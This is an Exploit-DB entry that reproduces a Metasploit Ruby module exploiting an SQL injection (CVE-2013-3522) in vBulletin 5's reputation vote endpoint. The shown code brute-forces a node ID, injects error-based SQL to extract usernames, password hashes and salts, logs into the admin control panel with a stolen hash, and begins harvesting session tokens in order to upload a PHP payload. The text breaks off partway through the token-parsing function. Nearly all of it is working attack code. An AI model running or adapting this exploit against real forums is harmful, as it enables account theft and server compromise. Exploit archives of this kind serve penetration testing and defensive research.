Exploit-DB #30212
Description: vBulletin 5 - 'index.php/ajax/api/reputation/vote?nodeid' SQL Injection (Metasploit)
Type: remote
Platform: php
Date: 2013-12-11
Author: Metasploit

Exploit:
##
# This module requires Metasploit: http//metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Exploit::Remote::HttpClient

  def initialize(info = {})
    super(update_info(info,
      'Name'           => 'vBulletin index.php/ajax/api/reputation/vote nodeid Parameter SQL Injection',
      'Description'    => %q{
        This module exploits a SQL injection vulnerability found in vBulletin 5 that has
        been used in the wild since March 2013. This module uses the sqli to extract the
        web application's usernames and hashes. With the retrieved information tries to
        log into the admin control panel in order to deploy the PHP payload. This module
        has been tested successfully on VBulletin Version 5.0.0 Beta 13 over an Ubuntu
        Linux distribution.
      },
      'Author'         =>
        [
          'Orestis Kourides', # Vulnerability discovery and PoC
          'juan vazquez' # Metasploit module
        ],
      'License'        => MSF_LICENSE,
      'References'     =>
        [
          [ 'CVE', '2013-3522' ],
          [ 'OSVDB', '92031' ],
          [ 'EDB', '24882' ],
          [ 'BID', '58754' ],
          [ 'URL', 'http://www.zempirians.com/archive/legion/vbulletin_5.pl.txt' ]
        ],
      'Privileged'     => false, # web server context
      'Payload'        =>
        {
          'DisableNops' => true,
          'Space'       => 10000 # Just value big enough to fit any php payload
        },
      'Platform'       => 'php',
      'Arch'           => ARCH_PHP,
      'Targets'        => [[ 'vBulletin 5.0.0 Beta 11-28', { }]],
      'DisclosureDate' => 'Mar 25 2013',
      'DefaultTarget'  => 0))

    register_options(
      [
        OptString.new("TARGETURI", [true, 'The path to vBulletin', '/']),
        OptInt.new("NODE", [false, 'Valid Node ID']),
        OptInt.new("MINNODE", [true, 'Valid Node ID', 1]),
        OptInt.new("MAXNODE", [true, 'Valid Node ID', 100])
      ], self.class)
  end

  def exists_node?(id)
    mark = rand_text_alpha(8 + rand(5))
    result = do_sqli(id, "select '#{mark}'")

    if result and result =~ /#{mark}/
      return true
    end

    return false
  end

  def brute_force_node
    min = datastore["MINNODE"]
    max = datastore["MAXNODE"]

    if min > max
      print_error("#{peer} - MINNODE can't be major than MAXNODE")
      return nil
    end

    for node_id in min..max
      if exists_node?(node_id)
        return node_id
      end
    end

    return nil
  end

  def get_node
    if datastore['NODE'].nil? or datastore['NODE'] <= 0
      print_status("#{peer} - Brute forcing to find a valid node id...")
      return brute_force_node
    end

    print_status("#{peer} - Checking node id #{datastore['NODE']}...")
    if exists_node?(datastore['NODE'])
      return datastore['NODE']
    else
      return nil
    end
  end

  def do_sqli(node, query)
    mark = Rex::Text.rand_text_alpha(5 + rand(3))
    random_and = Rex::Text.rand_text_numeric(4)
    injection = ") and(select 1 from(select count(*),concat((select (select concat('#{mark}',cast((#{query}) as char),'#{mark}')) "
    injection << "from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) "
    injection << "AND (#{random_and}=#{random_and}"

    res = send_request_cgi({
      'method'    => 'POST',
      'uri'       => normalize_uri(target_uri.path, "index.php", "ajax", "api", "reputation", "vote"),
      'vars_post' =>
        {
          'nodeid'  => "#{node}#{injection}",
        }
      })

    unless res and res.code == 200 and res.body.to_s =~ /Database error in vBulletin/
      return nil
    end

    data = ""

    if res.body.to_s =~ /#{mark}(.*)#{mark}/
      data = $1
    end

    return data
  end

  def get_user_data(node_id, user_id)
    user = do_sqli(node_id, "select username from user limit #{user_id},#{user_id+1}")
    pass = do_sqli(node_id, "select password from user limit #{user_id},#{user_id+1}")
    salt = do_sqli(node_id, "select salt from user limit #{user_id},#{user_id+1}")

    return [user, pass, salt]
  end

  def do_login(user, hash)
    res = send_request_cgi({
      'uri'           => normalize_uri(target_uri.path, "login.php"),
      'method'        => 'POST',
      'encode_params' => false,
      'vars_get'      => {
        'do' => 'login'
      },
      'vars_post'     => {
        'url'                      => '%2Fadmincp%2F',
        'securitytoken'            => 'guest',
        'logintype'                => 'cplogin',
        'do'                       => 'login',
        'vb_login_md5password'     => hash,
        'vb_login_md5password_utf' => hash,
        'vb_login_username'        => user,
        'vb_login_password'        => '',
        'cssprefs'                 => ''
      }
    })

    if res and res.code == 200 and res.body and res.body.to_s =~ /window\.location.*admincp/ and res.headers['Set-Cookie']
      session = res.get_cookies
    else
      return nil
    end

    res = send_request_cgi({
      'uri'    => normalize_uri(target_uri.path, "admincp", "/"),
      'cookie' => session
    })

    if res and res.code == 200 and res.body and res.body.to_s =~ /<title>Forums Admin Control Panel<\/title>/
      return session
    else
      return nil
    end

  end

  def get_token(response)
    token_info = {
      :session_hash => "",
      :security_token => "",
      :admin_hash => ""
    }

    if response =~ /var SESSIONHASH = "([0-9a-f]+)";/
      token_info[:session_hash] = $1
    end

    if response =~ /var ADMINHASH = "([0-9a-f]+)";/
      token_info[:admin_hash] = $1
    end

    if response =~ /var SECURITYTOK